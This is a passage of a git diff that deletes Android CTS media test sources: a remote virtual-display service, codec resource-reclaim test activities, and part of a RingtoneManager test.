-import android.os.Binder;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.IBinder;
-import android.os.Looper;
-import android.os.Parcel;
-import android.os.RemoteException;
-import android.util.Log;
-import android.view.Display;
-import android.view.Surface;
-import android.view.ViewGroup.LayoutParams;
-import android.view.WindowManager;
-import android.widget.ImageView;
-
-public class RemoteVirtualDisplayService extends Service {
-    private static final String TAG = "RemoteVirtualDisplayService";
-    private static final boolean DBG = false;
-    /** argument: Surface, int w, int h, return none */
-    private static final int BINDER_CMD_START = IBinder.FIRST_CALL_TRANSACTION;
-    /** argument: int color, return none */
-    private static final int BINDER_CMD_RENDER = IBinder.FIRST_CALL_TRANSACTION + 1;
-    private final Handler mHandlerForRunOnMain = new Handler(Looper.getMainLooper());;
-    private IBinder mBinder;
-    private VirtualDisplayPresentation mPresentation;
-
-    @Override
-    public void onCreate() {
-        Log.i(TAG, "onCreate");
-        mBinder = new Binder() {
-            @Override
-            protected boolean onTransact(int code, Parcel data, Parcel reply,
-                    int flags) throws RemoteException {
-                switch(code) {
-                    case BINDER_CMD_START: {
-                        Surface surface = Surface.CREATOR.createFromParcel(data);
-                        int w = data.readInt();
-                        int h = data.readInt();
-                        start(surface, w, h);
-                        break;
-                    }
-                    case BINDER_CMD_RENDER: {
-                        int color = data.readInt();
-                        render(color);
-                        break;
-                    }
-                    default:
-                        Log.e(TAG, "unrecognized binder command " + code);
-                        return false;
-                }
-                return true;
-            }
-        };
-    }
-
-    @Override
-    public IBinder onBind(Intent intent) {
-        Log.i(TAG, "onBind");
-        return mBinder;
-    }
-
-    @Override
-    public void onDestroy() {
-        Log.i(TAG, "onDestroy");
-        if (mPresentation != null) {
-            mPresentation.dismissPresentation();
-            mPresentation.destroyVirtualDisplay();
-            mPresentation = null;
-        }
-    }
-
-    private void start(Surface surface, int w, int h) {
-        Log.i(TAG, "start");
-        mPresentation = new VirtualDisplayPresentation(this, surface, w, h);
-        mPresentation.createVirtualDisplay();
-        mPresentation.createPresentation();
-    }
-
-    private void render(int color) {
-        if (DBG) {
-            Log.i(TAG, "render " + Integer.toHexString(color));
-        }
-        mPresentation.doRendering(color);
-    }
-
-    private class VirtualDisplayPresentation {
-        private Context mContext;
-        private Surface mSurface;
-        private int mWidth;
-        private int mHeight;
-        private final DisplayManager mDisplayManager;
-        private VirtualDisplay mVirtualDisplay;
-        private TestPresentation mPresentation;
-
-        VirtualDisplayPresentation(Context context, Surface surface, int w, int h) {
-            mContext = context;
-            mSurface = surface;
-            mWidth = w;
-            mHeight = h;
-            mDisplayManager = (DisplayManager)context.getSystemService(Context.DISPLAY_SERVICE);
-        }
-
-        void createVirtualDisplay() {
-            runOnMainSync(new Runnable() {
-                @Override
-                public void run() {
-                    mVirtualDisplay = mDisplayManager.createVirtualDisplay(
-                            TAG, mWidth, mHeight, 200, mSurface, 0);
-                }
-            });
-        }
-
-        void destroyVirtualDisplay() {
-            if (mVirtualDisplay != null) {
-                mVirtualDisplay.release();
-            }
-        }
-
-        void createPresentation() {
-            runOnMainSync(new Runnable() {
-                @Override
-                public void run() {
-                    mPresentation = new TestPresentation(RemoteVirtualDisplayService.this,
-                            mVirtualDisplay.getDisplay());
-                    mPresentation.show();
-                }
-            });
-        }
-
-        void dismissPresentation() {
-            if (mPresentation != null) {
-                mPresentation.dismiss();
-            }
-        }
-
-        public void doRendering(final int color) {
-            runOnMainSync(new Runnable() {
-                @Override
-                public void run() {
-                    mPresentation.doRendering(color);
-                }
-            });
-        }
-
-        private class TestPresentation extends Presentation {
-            private ImageView mImageView;
-
-            public TestPresentation(Context outerContext, Display display) {
-                // This theme is required to prevent an extra view from obscuring the presentation
-                super(outerContext, display,
-                        android.R.style.Theme_Holo_Light_NoActionBar_TranslucentDecor);
-                getWindow().addFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
-            }
-
-            @Override
-            protected void onCreate(Bundle savedInstanceState) {
-                super.onCreate(savedInstanceState);
-                mImageView = new ImageView(getContext());
-                mImageView.setImageDrawable(new ColorDrawable(0));
-                mImageView.setLayoutParams(new LayoutParams(
-                        LayoutParams.MATCH_PARENT, LayoutParams.MATCH_PARENT));
-                setContentView(mImageView);
-            }
-
-            public void doRendering(int color) {
-                mImageView.setImageDrawable(new ColorDrawable(color));
-            }
-        }
-    }
-
-    private void runOnMainSync(Runnable runner) {
-        SyncRunnable sr = new SyncRunnable(runner);
-        mHandlerForRunOnMain.post(sr);
-        sr.waitForComplete();
-    }
-
-    private static final class SyncRunnable implements Runnable {
-        private final Runnable mTarget;
-        private boolean mComplete;
-
-        public SyncRunnable(Runnable target) {
-            mTarget = target;
-        }
-
-        public void run() {
-            mTarget.run();
-            synchronized (this) {
-                mComplete = true;
-                notifyAll();
-            }
-        }
-
-        public void waitForComplete() {
-            synchronized (this) {
-                while (!mComplete) {
-                    try {
-                        wait();
-                    } catch (InterruptedException e) {
-                        //ignore
-                    }
-                }
-            }
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/ResourceManagerStubActivity.java b/tests/tests/media/src/android/media/cts/ResourceManagerStubActivity.java
deleted file mode 100644
index 5595800..0000000
--- a/tests/tests/media/src/android/media/cts/ResourceManagerStubActivity.java
+++ /dev/null
@@ -1,128 +0,0 @@
-/*
- * Copyright 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.app.Activity;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Bundle;
-import android.util.Log;
-import junit.framework.Assert;
-
-public class ResourceManagerStubActivity extends Activity {
-    private static final String TAG = "ResourceManagerStubActivity";
-    private final Object mFinishEvent = new Object();
-    private int[] mRequestCodes = {0, 1};
-    private boolean[] mResults = {false, false};
-    private int mNumResults = 0;
-    private int mType1 = ResourceManagerTestActivityBase.TYPE_NONSECURE;
-    private int mType2 = ResourceManagerTestActivityBase.TYPE_NONSECURE;
-    private boolean mWaitForReclaim = true;
-
-    private static final String ERROR_INSUFFICIENT_RESOURCES =
-            "* Please check if the omx component is returning OMX_ErrorInsufficientResources " +
-            "properly when the codec failure is due to insufficient resource.\n";
-    private static final String ERROR_SUPPORTS_MULTIPLE_SECURE_CODECS =
-            "* Please check if this platform supports multiple concurrent secure codec " +
-            "instances. If not, please add below setting in /etc/media_codecs.xml in order " +
-            "to pass the test:\n" +
-            "    <Settings>\n" +
-            "       <Setting name=\"supports-multiple-secure-codecs\" value=\"false\" />\n" +
-            "    </Settings>\n";
-    private static final String ERROR_SUPPORTS_SECURE_WITH_NON_SECURE_CODEC =
-            "* Please check if this platform supports co-exist of secure and non-secure codec. " +
-            "If not, please add below setting in /etc/media_codecs.xml in order to pass the " +
-            "test:\n" +
-            "    <Settings>\n" +
-            "       <Setting name=\"supports-secure-with-non-secure-codec\" value=\"false\" />\n" +
-            "    </Settings>\n";
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-    }
-
-    @Override
-    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
-        Log.d(TAG, "Activity " + requestCode + " finished with resultCode " + resultCode);
-        mResults[requestCode] = (resultCode == RESULT_OK);
-        if (++mNumResults == mResults.length) {
-            synchronized (mFinishEvent) {
-                mFinishEvent.notify();
-            }
-        }
-    }
-
-    public void testReclaimResource(int type1, int type2) throws InterruptedException {
-        mType1 = type1;
-        mType2 = type2;
-        if (type1 != ResourceManagerTestActivityBase.TYPE_MIX && type1 != type2) {
-            // in this case, activity2 may not need to reclaim codec from activity1.
-            mWaitForReclaim = false;
-        } else {
-            mWaitForReclaim = true;
-        }
-        Thread thread = new Thread() {
-            @Override
-            public void run() {
-                try {
-                    Context context = getApplicationContext();
-                    Intent intent1 = new Intent(context, ResourceManagerTestActivity1.class);
-                    intent1.putExtra("test-type", mType1);
-                    intent1.putExtra("wait-for-reclaim", mWaitForReclaim);
-                    startActivityForResult(intent1, mRequestCodes[0]);
-                    Thread.sleep(5000);  // wait for process to launch and allocate all codecs.
-
-                    Intent intent2 = new Intent(context, ResourceManagerTestActivity2.class);
-                    intent2.putExtra("test-type", mType2);
-                    startActivityForResult(intent2, mRequestCodes[1]);
-
-                    synchronized (mFinishEvent) {
-                        mFinishEvent.wait();
-                    }
-                } catch(Exception e) {
-                    Log.d(TAG, "testReclaimResource got exception " + e.toString());
-                }
-            }
-        };
-        thread.start();
-        thread.join(20000 /* millis */);
-        System.gc();
-        Thread.sleep(5000);  // give the gc a chance to release test activities.
-
-        boolean result = true;
-        for (int i = 0; i < mResults.length; ++i) {
-            if (!mResults[i]) {
-                Log.e(TAG, "Result from activity " + i + " is a fail.");
-                result = false;
-                break;
-            }
-        }
-        if (!result) {
-            String failMessage = "The potential reasons for the failure:\n";
-            StringBuilder reasons = new StringBuilder();
-            reasons.append(ERROR_INSUFFICIENT_RESOURCES);
-            if (mType1 != mType2) {
-                reasons.append(ERROR_SUPPORTS_SECURE_WITH_NON_SECURE_CODEC);
-            }
-            if (mType1 == ResourceManagerTestActivityBase.TYPE_MIX &&
-                    mType2 == ResourceManagerTestActivityBase.TYPE_SECURE) {
-                reasons.append(ERROR_SUPPORTS_MULTIPLE_SECURE_CODECS);
-            }
-            Assert.assertTrue(failMessage + reasons.toString(), result);
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/ResourceManagerTest.java b/tests/tests/media/src/android/media/cts/ResourceManagerTest.java
deleted file mode 100644
index 115701b..0000000
--- a/tests/tests/media/src/android/media/cts/ResourceManagerTest.java
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- * Copyright 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.ActivityInstrumentationTestCase2;
-
-import androidx.test.filters.SmallTest;
-
-@SmallTest
-@RequiresDevice
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class ResourceManagerTest
-        extends ActivityInstrumentationTestCase2<ResourceManagerStubActivity> {
-
-    public ResourceManagerTest() {
-        super("android.media.cts", ResourceManagerStubActivity.class);
-    }
-
-    private void doTestReclaimResource(int type1, int type2) throws Exception {
-        Bundle extras = new Bundle();
-        ResourceManagerStubActivity activity = launchActivity(
-                "android.media.cts", ResourceManagerStubActivity.class, extras);
-        activity.testReclaimResource(type1, type2);
-        activity.finish();
-    }
-
-    public void testReclaimResourceNonsecureVsNonsecure() throws Exception {
-        doTestReclaimResource(ResourceManagerTestActivityBase.TYPE_NONSECURE,
-                ResourceManagerTestActivityBase.TYPE_NONSECURE);
-    }
-
-    public void testReclaimResourceNonsecureVsSecure() throws Exception {
-        doTestReclaimResource(ResourceManagerTestActivityBase.TYPE_NONSECURE,
-                ResourceManagerTestActivityBase.TYPE_SECURE);
-    }
-
-    public void testReclaimResourceSecureVsNonsecure() throws Exception {
-        doTestReclaimResource(ResourceManagerTestActivityBase.TYPE_SECURE,
-                ResourceManagerTestActivityBase.TYPE_NONSECURE);
-    }
-
-    public void testReclaimResourceSecureVsSecure() throws Exception {
-        doTestReclaimResource(ResourceManagerTestActivityBase.TYPE_SECURE,
-                ResourceManagerTestActivityBase.TYPE_SECURE);
-    }
-
-    public void testReclaimResourceMixVsNonsecure() throws Exception {
-        doTestReclaimResource(ResourceManagerTestActivityBase.TYPE_MIX,
-                ResourceManagerTestActivityBase.TYPE_NONSECURE);
-    }
-
-    public void testReclaimResourceMixVsSecure() throws Exception {
-        doTestReclaimResource(ResourceManagerTestActivityBase.TYPE_MIX,
-                ResourceManagerTestActivityBase.TYPE_SECURE);
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/ResourceManagerTestActivity1.java b/tests/tests/media/src/android/media/cts/ResourceManagerTestActivity1.java
deleted file mode 100644
index a11d773..0000000
--- a/tests/tests/media/src/android/media/cts/ResourceManagerTestActivity1.java
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.util.Log;
-
-public class ResourceManagerTestActivity1 extends ResourceManagerTestActivityBase {
-    private static final int MAX_INSTANCES = 32;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        TAG = "ResourceManagerTestActivity1";
-
-        Log.d(TAG, "onCreate called.");
-        super.onCreate(savedInstanceState);
-        moveTaskToBack(true);
-
-        Bundle extras = getIntent().getExtras();
-        if (extras != null) {
-            mWaitForReclaim = extras.getBoolean("wait-for-reclaim", mWaitForReclaim);
-        }
-
-        if (allocateCodecs(MAX_INSTANCES) == MAX_INSTANCES) {
-            // haven't reached the limit with MAX_INSTANCES, no need to wait for reclaim exception.
-            mWaitForReclaim = false;
-        }
-
-        useCodecs();
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/ResourceManagerTestActivity2.java b/tests/tests/media/src/android/media/cts/ResourceManagerTestActivity2.java
deleted file mode 100644
index ea0567f..0000000
--- a/tests/tests/media/src/android/media/cts/ResourceManagerTestActivity2.java
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.util.Log;
-
-public class ResourceManagerTestActivity2 extends ResourceManagerTestActivityBase {
-    @Override
-    protected void onResume() {
-        TAG = "ResourceManagerTestActivity2";
-
-        Log.d(TAG, "onResume called.");
-        super.onResume();
-
-        int result = (allocateCodecs(1 /* max */) == 1) ? RESULT_OK : RESULT_CANCELED;
-        finishWithResult(result);
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/ResourceManagerTestActivityBase.java b/tests/tests/media/src/android/media/cts/ResourceManagerTestActivityBase.java
deleted file mode 100644
index 76c7b0f..0000000
--- a/tests/tests/media/src/android/media/cts/ResourceManagerTestActivityBase.java
+++ /dev/null
@@ -1,258 +0,0 @@
-/*
- * Copyright 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.app.Activity;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecInfo.VideoCapabilities;
-import android.media.MediaCodecList;
-import android.media.MediaFormat;
-import android.os.Bundle;
-import android.util.Log;
-import java.io.IOException;
-import java.util.Vector;
-
-public class ResourceManagerTestActivityBase extends Activity {
-    public static final int TYPE_NONSECURE = 0;
-    public static final int TYPE_SECURE = 1;
-    public static final int TYPE_MIX = 2;
-
-    protected String TAG;
-    private static final int FRAME_RATE = 10;
-    private static final int IFRAME_INTERVAL = 10;  // 10 seconds between I-frames
-    private static final String MIME = MediaFormat.MIMETYPE_VIDEO_AVC;
-
-    private Vector<MediaCodec> mCodecs = new Vector<MediaCodec>();
-
-    private class TestCodecCallback extends MediaCodec.Callback {
-        @Override
-        public void onInputBufferAvailable(MediaCodec codec, int index) {
-            Log.d(TAG, "onInputBufferAvailable " + codec.toString());
-        }
-
-        @Override
-        public void onOutputBufferAvailable(
-                MediaCodec codec, int index, MediaCodec.BufferInfo info) {
-            Log.d(TAG, "onOutputBufferAvailable " + codec.toString());
-        }
-
-        @Override
-        public void onError(MediaCodec codec, MediaCodec.CodecException e) {
-            Log.d(TAG, "onError " + codec.toString() + " errorCode " + e.getErrorCode());
-        }
-
-        @Override
-        public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
-            Log.d(TAG, "onOutputFormatChanged " + codec.toString());
-        }
-    }
-
-    private MediaCodec.Callback mCallback = new TestCodecCallback();
-
-    private MediaFormat getTestFormat(CodecCapabilities caps, boolean securePlayback) {
-        VideoCapabilities vcaps = caps.getVideoCapabilities();
-        int width = vcaps.getSupportedWidths().getLower();
-        int height = vcaps.getSupportedHeightsFor(width).getLower();
-        int bitrate = vcaps.getBitrateRange().getLower();
-
-        MediaFormat format = MediaFormat.createVideoFormat(MIME, width, height);
-        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, caps.colorFormats[0]);
-        format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
-        format.setInteger(MediaFormat.KEY_FRAME_RATE, FRAME_RATE);
-        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
-        format.setFeatureEnabled(CodecCapabilities.FEATURE_SecurePlayback, securePlayback);
-        return format;
-    }
-
-    private MediaCodecInfo getTestCodecInfo(boolean securePlayback) {
-        // Use avc decoder for testing.
-        boolean isEncoder = false;
-
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
-        for (MediaCodecInfo info : mcl.getCodecInfos()) {
-            if (info.isEncoder() != isEncoder) {
-                continue;
-            }
-            CodecCapabilities caps;
-            try {
-                caps = info.getCapabilitiesForType(MIME);
-                boolean securePlaybackSupported =
-                        caps.isFeatureSupported(CodecCapabilities.FEATURE_SecurePlayback);
-                boolean securePlaybackRequired =
-                        caps.isFeatureRequired(CodecCapabilities.FEATURE_SecurePlayback);
-                if ((securePlayback && securePlaybackSupported) ||
-                        (!securePlayback && !securePlaybackRequired) ) {
-                    Log.d(TAG, "securePlayback " + securePlayback + " will use " + info.getName());
-                } else {
-                    Log.d(TAG, "securePlayback " + securePlayback + " skip " + info.getName());
-                    continue;
-                }
-            } catch (IllegalArgumentException e) {
-                // mime is not supported
-                continue;
-            }
-            return info;
-        }
-
-        return null;
-    }
-
-    protected int allocateCodecs(int max) {
-        Bundle extras = getIntent().getExtras();
-        int type = TYPE_NONSECURE;
-        if (extras != null) {
-            type = extras.getInt("test-type", type);
-            Log.d(TAG, "type is: " + type);
-        }
-
-        boolean shouldSkip = false;
-        boolean securePlayback;
-        if (type == TYPE_NONSECURE || type == TYPE_MIX) {
-            securePlayback = false;
-            MediaCodecInfo info = getTestCodecInfo(securePlayback);
-            if (info != null) {
-                allocateCodecs(max, info, securePlayback);
-            } else {
-                shouldSkip = true;
-            }
-        }
-
-        if (!shouldSkip) {
-            if (type == TYPE_SECURE || type == TYPE_MIX) {
-                securePlayback = true;
-                MediaCodecInfo info = getTestCodecInfo(securePlayback);
-                if (info != null) {
-                    allocateCodecs(max, info, securePlayback);
-                } else {
-                    shouldSkip = true;
-                }
-            }
-        }
-
-        if (shouldSkip) {
-            Log.d(TAG, "test skipped as there's no supported codec.");
-            finishWithResult(RESULT_OK);
-        }
-
-        Log.d(TAG, "allocateCodecs returned " + mCodecs.size());
-        return mCodecs.size();
-    }
-
-    protected void allocateCodecs(int max, MediaCodecInfo info, boolean securePlayback) {
-        String name = info.getName();
-        CodecCapabilities caps = info.getCapabilitiesForType(MIME);
-        MediaFormat format = getTestFormat(caps, securePlayback);
-        MediaCodec codec = null;
-        for (int i = mCodecs.size(); i < max; ++i) {
-            try {
-                Log.d(TAG, "Create codec " + name + " #" + i);
-                codec = MediaCodec.createByCodecName(name);
-                codec.setCallback(mCallback);
-                Log.d(TAG, "Configure codec " + format);
-                codec.configure(format, null, null, 0);
-                Log.d(TAG, "Start codec " + format);
-                codec.start();
-                mCodecs.add(codec);
-                codec = null;
-            } catch (IllegalArgumentException e) {
-                Log.d(TAG, "IllegalArgumentException " + e.getMessage());
-                break;
-            } catch (IOException e) {
-                Log.d(TAG, "IOException " + e.getMessage());
-                break;
-            } catch (MediaCodec.CodecException e) {
-                Log.d(TAG, "CodecException 0x" + Integer.toHexString(e.getErrorCode()));
-                break;
-            } finally {
-                if (codec != null) {
-                    Log.d(TAG, "release codec");
-                    codec.release();
-                    codec = null;
-                }
-            }
-        }
-    }
-
-    protected void finishWithResult(int result) {
-        for (int i = 0; i < mCodecs.size(); ++i) {
-            Log.d(TAG, "release codec #" + i);
-            mCodecs.get(i).release();
-        }
-        mCodecs.clear();
-        setResult(result);
-        finish();
-        Log.d(TAG, "activity finished");
-    }
-
-    private void doUseCodecs() {
-        int current = 0;
-        try {
-            for (current = 0; current < mCodecs.size(); ++current) {
-                mCodecs.get(current).getName();
-            }
-        } catch (MediaCodec.CodecException e) {
-            Log.d(TAG, "useCodecs got CodecException 0x" + Integer.toHexString(e.getErrorCode()));
-            if (e.getErrorCode() == MediaCodec.CodecException.ERROR_RECLAIMED) {
-                Log.d(TAG, "Remove codec " + current + " from the list");
-                mCodecs.get(current).release();
-                mCodecs.remove(current);
-                mGotReclaimedException = true;
-                mUseCodecs = false;
-            }
-            return;
-        }
-    }
-
-    protected boolean mWaitForReclaim = true;
-    private Thread mWorkerThread;
-    private volatile boolean mUseCodecs = true;
-    private volatile boolean mGotReclaimedException = false;
-    protected void useCodecs() {
-        mWorkerThread = new Thread(new Runnable() {
-            @Override
-            public void run() {
-                long start = System.currentTimeMillis();
-                long timeSinceStartedMs = 0;
-                while (mUseCodecs && (timeSinceStartedMs < 15000)) {  // timeout in 15s
-                    doUseCodecs();
-                    try {
-                        Thread.sleep(50 /* millis */);
-                    } catch (InterruptedException e) {}
-                    timeSinceStartedMs = System.currentTimeMillis() - start;
-                }
-                if (mGotReclaimedException) {
-                    Log.d(TAG, "Got expected reclaim exception.");
-                    finishWithResult(RESULT_OK);
-                } else {
-                    Log.d(TAG, "Stopped without getting reclaim exception.");
-                    // if the test is supposed to wait for reclaim event then this is a failure,
-                    // otherwise this is a pass.
-                    finishWithResult(mWaitForReclaim ? RESULT_CANCELED : RESULT_OK);
-                }
-            }
-        });
-        mWorkerThread.start();
-    }
-
-    @Override
-    protected void onDestroy() {
-        Log.d(TAG, "onDestroy called.");
-        super.onDestroy();
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java b/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java
deleted file mode 100644
index d60caa8..0000000
--- a/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java
+++ /dev/null
@@ -1,223 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.app.ActivityManager;
-import android.content.ContentResolver;
-import android.content.res.AssetFileDescriptor;
-
-import android.app.Activity;
-import android.app.Instrumentation;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.database.Cursor;
-import android.media.AudioManager;
-import android.media.Ringtone;
-import android.media.RingtoneManager;
-import android.net.Uri;
-import android.platform.test.annotations.AppModeFull;
-import android.provider.Settings;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Log;
-
-import java.io.FileNotFoundException;
-import java.io.IOException;
-
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class RingtoneManagerTest
-        extends ActivityInstrumentationTestCase2<RingtonePickerActivity> {
-
-    private static final String PKG = "android.media.cts";
-    private static final String TAG = "RingtoneManagerTest";
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-
-    private RingtonePickerActivity mActivity;
-    private Instrumentation mInstrumentation;
-    private Context mContext;
-    private RingtoneManager mRingtoneManager;
-    private AudioManager mAudioManager;
-    private int mOriginalRingerMode;
-    private Uri mDefaultUri;
-
-    public RingtoneManagerTest() {
-        super(PKG, RingtonePickerActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        mInstrumentation = getInstrumentation();
-        mContext = mInstrumentation.getContext();
-        Utils.enableAppOps(mContext.getPackageName(), "android:write_settings", mInstrumentation);
-        mRingtoneManager = new RingtoneManager(mActivity);
-        mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
-        // backup ringer settings
-        mDefaultUri = RingtoneManager.getActualDefaultRingtoneUri(mContext,
-                RingtoneManager.TYPE_RINGTONE);
-
-        mOriginalRingerMode = mAudioManager.getRingerMode();
-        if (mAudioManager.getRingerMode() != AudioManager.RINGER_MODE_NORMAL) {
-            try {
-                Utils.toggleNotificationPolicyAccess(
-                        mContext.getPackageName(), getInstrumentation(), true);
-                mAudioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
-            } finally {
-                Utils.toggleNotificationPolicyAccess(
-                        mContext.getPackageName(), getInstrumentation(), false);
-            }
-        }
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        try {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true);
-            // restore original ringer settings
-            if (mAudioManager != null) {
-                mAudioManager.setRingerMode(mOriginalRingerMode);
-            }
-        } finally {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false);
-        }
-        RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE,
-                mDefaultUri);
-        Utils.disableAppOps(mContext.getPackageName(), "android:write_settings", mInstrumentation);
-        super.tearDown();
-    }
-
-    private boolean isSupportedDevice() {
-        final PackageManager pm = mContext.getPackageManager();
-        return pm.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)
-                && !pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY);
-    }
-
-    public void testConstructors() {
-        if (!isSupportedDevice()) return;
-
-        new RingtoneManager(mActivity);
-        new RingtoneManager(mContext);
-    }
-
-    public void testAccessMethods() {
-        if (!isSupportedDevice()) return;
-
-        Cursor c = mRingtoneManager.getCursor();
-        assertTrue("Must have at least one ring tone available", c.getCount() > 0);
-
-        assertNotNull(mRingtoneManager.getRingtone(0));
-        assertNotNull(RingtoneManager.getRingtone(mContext, Settings.System.DEFAULT_RINGTONE_URI));
-        int expectedPosition = 0;
-        Uri uri = mRingtoneManager.getRingtoneUri(expectedPosition);
-        assertEquals(expectedPosition, mRingtoneManager.getRingtonePosition(uri));
-        assertNotNull(RingtoneManager.getValidRingtoneUri(mContext));
-
-        RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE, uri);
-        assertEquals(uri, RingtoneManager.getActualDefaultRingtoneUri(mContext,
-                RingtoneManager.TYPE_RINGTONE));
-
-        try (AssetFileDescriptor afd = RingtoneManager.openDefaultRingtoneUri(
-                mActivity, RingtoneManager.getDefaultUri(RingtoneManager.TYPE_RINGTONE))) {
-            assertNotNull(afd);
-        } catch (IOException e) {
-            fail(e.getMessage());
-        }
-
-        Uri bogus = Uri.parse("content://a_bogus_uri");
-        RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE, bogus);
-        assertEquals(bogus, RingtoneManager.getActualDefaultRingtoneUri(mContext,
-                RingtoneManager.TYPE_RINGTONE));
-
-        try (AssetFileDescriptor ignored = RingtoneManager.openDefaultRingtoneUri(
-                mActivity, RingtoneManager.getDefaultUri(RingtoneManager.TYPE_RINGTONE))) {
-            fail("FileNotFoundException should be thrown for a bogus Uri.");
-        } catch (FileNotFoundException e) {
-            // Expected.
-        } catch (IOException e) {
-            fail(e.getMessage());
-        }
-
-        assertEquals(Settings.System.DEFAULT_RINGTONE_URI,
-                RingtoneManager.getDefaultUri(RingtoneManager.TYPE_RINGTONE));
-        assertEquals(Settings.System.DEFAULT_NOTIFICATION_URI,
-                RingtoneManager.getDefaultUri(RingtoneManager.TYPE_NOTIFICATION));
-        assertEquals(RingtoneManager.TYPE_RINGTONE,
-                RingtoneManager.getDefaultType(Settings.System.DEFAULT_RINGTONE_URI));
-        assertEquals(RingtoneManager.TYPE_NOTIFICATION,
-                RingtoneManager.getDefaultType(Settings.System.DEFAULT_NOTIFICATION_URI));
-        assertTrue(RingtoneManager.isDefault(Settings.System.DEFAULT_RINGTONE_URI));
-    }
-
